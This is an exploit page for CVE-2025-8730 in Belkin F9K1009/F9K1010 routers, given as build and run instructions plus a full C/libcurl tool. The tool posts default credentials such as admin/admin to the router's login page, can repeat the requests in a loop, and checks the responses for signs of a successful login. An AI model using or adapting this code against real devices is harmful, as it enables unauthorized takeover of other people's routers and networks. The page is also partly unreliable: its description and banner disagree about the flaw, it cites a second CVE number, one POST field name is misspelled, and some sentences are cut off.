Authentication Bypass in Belkin F9K1009/F9K1010


Description

the web interface of Belkin F9K1009 and F9K1010 routers. The flaw resides in the session validation logic of the /login.htm file, where improperly handled cookies or crafted requests allow attackers to bypass login checks and gain full access to the administrative interface without valid credentials.

- Exploiting this vulnerability allows remote attackers (with network access) to:

Author :

Byte Reaper :

Build :

    #  gcc exploit.c argparse.c -o CVE-2025-8730  -lcurl

Run Exploit :

    # ./CVE-2025-10046 -u http://127.0.0.1 -v -c [Cookie file admin]

    1- Verbose Mode : 
    # ./CVE-2025-8730 -i 192.168.1.1 -v 

    2- Cookies FILE :
    # ./CVE-2025-8730 -i 192.168.1.1  -c [cookie file]

    3- Full URL :
    # ./CVE-2025-8730 -i 192.168.1.1 -f [FULL_URL]
    
    4- Sleep (second) :
    # ./CVE-2025-8730 -i 192.168.1.1 -s -i [IP]

    5- Number Request (For loop), example 10 Request POST :
    # ./CVE-2025-8730 -i 192.168.1.1 -k 10 -s 1 -v

Exploit :

File: exploit.c — Size: 17,0 KB — Lines: 554

  
#include <stdio.h>
#include <string.h>
#include <curl/curl.h>
#include "argparse.h"
#include <stdlib.h>
#include <time.h>
#include <errno.h>
#define FULL 2000
#define LOGIN_POST 1500

const char *nameFileC = NULL;
int verbose = 0;
const char *router = NULL;
const char *cookies = NULL;
int uC = 0;
const char *fullurl = NULL;
int sleepS = 0;
int count = 0;
void exitSyscall()
{
   __asm__ volatile
   (
       "mov $0x3C, %%rax\n\t"
       "xor %%rdi, %%rdi\n\t"
       "syscall\n\t"
       :
       :
       :"rax", 
        "rdi"
   );
}
int checkLen(int len, char *buf, size_t bufcap)
{
   if (len < 0 || (size_t)len >= bufcap)
   {
       printf("\e[0;31m[-] Len is Long ! \e[0m\n");
       printf("\e[0;31m[-] Len %d\e[0m\n", len);
       exitSyscall();
       return 1;
   }
   else
   {
       printf("\e[0;34m[+] Len Is Not Long (%d).\e[0m\n",len);
       return 0;

   }
   return 0;
}
struct Mem
{
   char *buffer;
   size_t len;
};

size_t write_cb(void *ptr,
               size_t size,
               size_t nmemb,
               void *userdata)
{
   size_t total = size * nmemb;
   struct Mem *m = (struct Mem *)userdata;
   char *tmp = realloc(m->buffer, m->len + total + 1);
   if (tmp == NULL)
   {
       fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n");
       exitSyscall();
   }
   m->buffer = tmp;
   memcpy(&(m->buffer[m->len]), ptr, total);
   m->len += total;
   m->buffer[m->len] = '\0';
   return total;
}
const char *wordLogin[] = 
{
   "login_success",
   "Welcome",
   "Dashboard",
   "admin panel",
   "Set-Cookie",
   "Authorization",
   "token",
   "sessionid",
   "redirect",
   "access granted",
   "authenticated",
   "user authenticated",
   "login ok",
   "login complete",
   "login status=success",
   "login=1",
   "auth=1",
   "valid credentials",
   "home.htm",
   "main.htm",
   "index.htm",
   "config.htm",
   "firmware.htm",
   "admin.htm",
   NULL
};
void sleepTime(int sec)
{
   if (sec <= 0)
   {
       fprintf(stderr, "\e[0;31m[-] Value seconds must be > 0 !\e[0m\n");
       exitSyscall();
   }

   struct timespec req, rem;
   req.tv_sec  = (time_t)sec;
   req.tv_nsec = 0;

   printf("\e[0;33m[+] Sleeping for %d seconds...\e[0m\n", sec);

   while (nanosleep(&req, &rem) == -1)
   {
       if (errno == EINTR) 
       {
         
           req = rem;
           continue;
       }
       perror("\e[0;31m[-] Nanosleep failed !\e[0m");
       exitSyscall();
   }

   printf("\e[0;34m[+] Sleep successful.\e[0m\n");
}
void detectDeviceType(const char *routerIp)
{	
   printf("\n=================================== [type Device] ===================================\e[0m\n");
   
   CURL *curl = curl_easy_init();
   if (!curl) exitSyscall();

   struct Mem response = { NULL, 0 };

   
   char full[FULL];
   int len = snprintf(full, sizeof(full), "http://%s", routerIp);
   if (checkLen(len, full, sizeof(full))) 
   {
       exitSyscall();
   }

   curl_easy_setopt(curl, CURLOPT_URL, full);
   curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb);
   curl_easy_setopt(curl,
       CURLOPT_CONNECTTIMEOUT,
       5L);
   if (sleepS)
   {
       sleepTime(sleepS);
   }
   curl_easy_setopt(curl,
           CURLOPT_TIMEOUT,
           10L);
   curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response);
   curl_easy_setopt(curl, CURLOPT_TIMEOUT, 5L);

   CURLcode res = curl_easy_perform(curl);
   if (res != CURLE_OK)
   {
       fprintf(stderr, "\e[0;31m[-] curl error: %s\n", curl_easy_strerror(res));
   }

   if (response.buffer)
   {
       if (strstr(response.buffer, "F9K1009"))
       {
           printf("\e[0;36m[+] Device: Belkin F9K1009\e[0m\n");
       }
           
       else if (strstr(response.buffer, "F9K1010"))
       {
           printf("\e[0;36m[+] Device: Belkin F9K1010\e[0m\n");
       }
           
       else
       {
             printf("\e[0;31m[-] Unknown device type\e[0m\n");
           free(response.buffer);
       }
         
   }
   else
   {
       printf("\e[0;31m[-] Response Is NULL !\n");
   };
   response.buffer= NULL;
   response.len = 0;
   curl_easy_cleanup(curl);
   printf("=====================================================================================\n");
}


void credentialsRequest(const char *routerIp)
{
   CURL *curl = curl_easy_init();
   if (curl == NULL)
   {
       printf("\e[0;31m[-] Error Create Object CURL !\e[0m\n");
       exitSyscall();
   }
   CURLcode res;
   
   char full[FULL];
   int nL = 2;
   struct  Mem response;
   response.buffer= NULL;
   response.len = 0;
   for (int l = 0; l <= nL; l++)
   {
       if (curl)
       {
           char full[FULL];
           char post[LOGIN_POST];
           
           if (fullurl != NULL )
           {
           
               int lenFull = snprintf(full, sizeof(full), "%s", fullurl);
               if (checkLen(lenFull,full, sizeof(full)) == 1)
               {
                   printf("\e[0;31m[-] Len FUll URL (Router IP) Is Long !\e[0m\n");
                   printf("\e[0;31m[-] Len : %d\n",lenFull);
                   exitSyscall();
               }
               printf("[+] Create FULL URL Successfully.\e[0m\n");
               printf("[+] Default Port Request : %d\e[0m\n", 80);
               printf("[+] FULL URL : %s\n", full);
           }
           else
           {
               int lenI = snprintf(full, 	
               sizeof(full), 
               "http://%s/login.htm", 
               routerIp);
               if (checkLen(lenI,full, sizeof(full)) == 1)
               {
                   printf("\e[0;31m[-] Len FUll URL (Router IP) Is Long !\e[0m\n");
                   printf("\e[0;31m[-] Len : %d\e[0m\n",lenI);
                   exitSyscall();
               }
               else
               {
                   printf("\e[1;34m[+] Create FULL URL Successfully.\e[0m\n");
                   printf("\e[1;34m[+] Target IP %s\e[0m\n", routerIp);
                   printf("\e[1;34m[+] Default Port Request : %d\e[0m\n", 80);
                   printf("\e[1;34m[+] FULL URL : %s\e[0m\n", full);
                   
               }
           
           }
           if (l < 2) 
           {
                //login  admin
               int vA = snprintf(post, sizeof(post),
                   "login_username=admin&login_password=admin");
               if (checkLen(vA,
                   post, 
                   sizeof(post)) == 1)
               {
                   printf("\e[0;31m[-] Error Write POST DATA !\e[0m\n");
                   printf("\e[0;31m[-] Len (data): %d\e[0m\n",
                   vA);
                   exitSyscall();
               }
               printf("\e[0;36m[+] Write Successfully POST DATA .\e[0m\n");
               printf("\e[0;36m[%d] Result POST DATA (admin) : \e[0m\n", l);
               printf("\n%s\n", post);
               } 
               else 
               {
                   //login 00E0A6-111
               int vE = snprintf(post, sizeof(post),
                   "login_usernam=00E0A6-111&login_password=00E0A6-111");
               if (checkLen(vE,
                   post, 
                   sizeof(post)) == 1)
               {
                   printf("\e[0;31m[-] Error Write POST DATA !\e[0m\n");
                   printf("\e[0;31m[-] Len (data): %d\n",
                   vE);
                   exitSyscall();
               }
               printf("\e[0;36m[+] Write Successfully POST DATA .\e[0m\n");
               printf("\e[0;36m[%d] Result POST DATA (00E0A6-111) : \e[0m\n", l);
               printf("\n%s\n", post);
           }
           
           
           
           curl_easy_setopt(curl, 
               CURLOPT_URL, 
               full);

           if (uC)
           {
           
               curl_easy_setopt(curl,
                          CURLOPT_COOKIEFILE,
                          cookies);
               curl_easy_setopt(curl,
                            CURLOPT_COOKIEJAR,
                            cookies);

           }
           curl_easy_setopt(curl, 
               CURLOPT_POST, 
               1L);
           curl_easy_setopt(curl, 
               CURLOPT_POSTFIELDS, 
               post);
           curl_easy_setopt(curl, 
               CURLOPT_POSTFIELDSIZE, 
               (long)strlen(post));
           curl_easy_setopt(curl,
                CURLOPT_ACCEPT_ENCODING,
                 "");
           curl_easy_setopt(curl,
                   CURLOPT_FOLLOWLOCATION,
                   1L);
           curl_easy_setopt(curl,
               CURLOPT_WRITEFUNCTION,
               write_cb);
           curl_easy_setopt(curl,
                   CURLOPT_WRITEDATA,
                   &response);
           curl_easy_setopt(curl,
                   CURLOPT_CONNECTTIMEOUT,
                   5L);
           if (sleepS)
           {
               sleepTime(sleepS);
           }
           curl_easy_setopt(curl,
                   CURLOPT_TIMEOUT,
                   10L);
           curl_easy_setopt(curl,
                       CURLOPT_SSL_VERIFYPEER,
                       0L);
           curl_easy_setopt(curl,
                   CURLOPT_SSL_VERIFYHOST,
                   0L);
           if (verbose)
           {
               printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
               curl_easy_setopt(curl,
                        CURLOPT_VERBOSE,
                        1L);
           }
           struct curl_slist *headers = NULL;
           headers = curl_slist_append(headers,
                             "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0)");
           headers = curl_slist_append(headers,
                             "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
           headers = curl_slist_append(headers,
                             "Accept-Encoding: gzip, deflate, br");
           headers = curl_slist_append(headers,
                             "Accept-Language: en-US,en;q=0.5");
           headers = curl_slist_append(headers,
                             "Connection: keep-alive");
           headers = curl_slist_append(headers, "Content-Type: application/json");

           headers = curl_slist_append(headers,
                             "Cache-Control: max-age=0");
           curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
           res = curl_easy_perform(curl);
           curl_slist_free_all(headers);
           if (res == CURLE_OK)
           {
               long httpCode = 0;
               long totalR;
               double timeredirect;
               char *redirectUrl = NULL;
               printf("\e[0;36m[+] Request sent successfully\e[0m\n");
               if (response.len == 0)
               {
                   
                   printf("\e[0;31m[-] Response Len Zero !\e[0m\n");
               }
               curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE,
                            &httpCode);
               printf("\e[0;32m[+] Http Code : %ld\e[0m\n", httpCode);
               curl_easy_getinfo(curl, 
                   CURLINFO_REDIRECT_COUNT, 
                   &totalR);
               curl_easy_getinfo(curl, 
                   CURLINFO_REDIRECT_TIME, 
                   &timeredirect);
               curl_easy_getinfo(curl, 
                   CURLINFO_REDIRECT_URL, 
                   &redirectUrl);
               printf("\e[0;35m[+] REDIRECT : ========================\e[0m\n");
               printf("\e[0;34m[+] Time REDIRECT: %.1f\e[0m\n", timeredirect);
               printf("\e[0;34m[+] Total REDIRECT %ld\e[0m\n", totalR);
               printf("\e[0;34m[+] REDIRECT to : %s\e[0m\n", redirectUrl);
               printf("\e[0;35m=======================================\e[0m\n");
               if (httpCode >= 200 && httpCode < 300)
               {
                   if (response.buffer)
                   {
                       for (int r = 0; wordLogin[r] != NULL; r++)
                       {
                           if (strstr(response.buffer, wordLogin[r]) != NULL)
                           {
                               printf("\e[0;34m[+] Word Found : %s\n", wordLogin[r]);
                               printf("\e[0;35m============================================= [RESPONSE] =============================================\e[0m\n");
                               printf("\n%s\n",response.buffer);
                               printf("\e[0;35m ======================================================================================================\e[0m\n");
                                       
                           }
                           if (verbose)
                           {
                                   printf("\e[0;31m[-] Word Not Found  : %s\e[0m\n",wordLogin[r]);
                           }
                       }
                   }
                   else
                   {
                       printf("\e[0;31m[-] Response Buffer Is NULL !\e[0m\n");
                       printf("\e[0;31m[-] Possible Waf \e[0m\n");
                   }
                       
                       
               }
               else 
               {
                      printf("\e[0;31m[-] http Code Not Range (%ld)\e[0m\n", httpCode);
               }
                   
               
           
           }
           else
           {
               printf("\e[0;31m[-] The request was not sent !\e[0m\n");
               printf("\e[0;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res));
               exitSyscall();

           }

       }
       
   }
   curl_easy_cleanup(curl);
       if (response.buffer)
   {
       free(response.buffer);
       response.buffer = NULL;
       response.len = 0;
   }
       
}

int main(int argc, const char **argv)
{
   printf("+-----------------------------------------------------------+\n");
   printf("| Author : 		  [ Byte Reaper ]                   |\n");
   printf("| CVE : 		  [ CVE-2025-8730 ]                 |\n");
   printf("| Type Vuln : 	  [ hard-coded credentials ]        	    |\n");
   printf("| Exploit publishing : [ 08/08/2025 ]	                    |\n");
   printf("| Target Service : 	  [ Belkin F9K1009/F9K1010 ]        |\n");
   printf("+-----------------------------------------------------------+\n");
   printf("\e[0;31m--------------------------------------------------------------------------------------------------------------------\e[0m\n");
   curl_global_init(CURL_GLOBAL_DEFAULT);

   struct argparse_option options[] =
   {
       OPT_STRING('f', 
           "full", 
           &fullurl, 
           "FULL url  FORMAT (Login File)"),
       OPT_HELP(),
              OPT_STRING('i',
                         "ip",
                         &router,
                         "Router Ip  (12.12.12.12)"),
              OPT_STRING('c',
                         "cookies",
                         &nameFileC,
                         "Enter File cookies"),         
       OPT_BOOLEAN('v',
                   "verbose",
                   &verbose,
                   "Verbose Mode"),
                   
       OPT_INTEGER('s', 
           "sleep", 
           &sleepS, 
           "Sleep Request"),
       OPT_INTEGER('k', 
           "count", 
           &count, 
           "Number For Loop Request (-k 8 (8 Request))"),
      OPT_END(),
   
   };
   struct argparse argparse;
   argparse_init(&argparse,
                 options,
                 NULL,
                 0);

   argparse_parse(&argparse,
                  argc,
                  argv);
   if (router == NULL && fullurl == NULL)
   {
       printf("\e[0;31m[-] Please Enter target Router IP  !\e[0m\n");
       printf("\e[0;31m[-] Example : ./CVE-2025-8730 -i  \e[0m\n");
       exitSyscall();
   }
   if (nameFileC)
   {
       uC = 1;
   }
   if (verbose)
   {
       verbose = 1;
   } 
   if (fullurl)
   {
       credentialsRequest(NULL);
   }
   if (sleepS)
   {
       sleepTime(sleepS);
   }
   
   if (count)
   {
       for (int j = 0; j <= count; j++)
       {
           
           if (fullurl)
           {	
               credentialsRequest(fullurl);
           }
           if (router)
           {
               credentialsRequest(router);
           }
           
       }
   }
   detectDeviceType(router);
   credentialsRequest(router);
   curl_global_cleanup();
   return 0;

}
  
Download

References :

  • NVD : link
  • CVE : link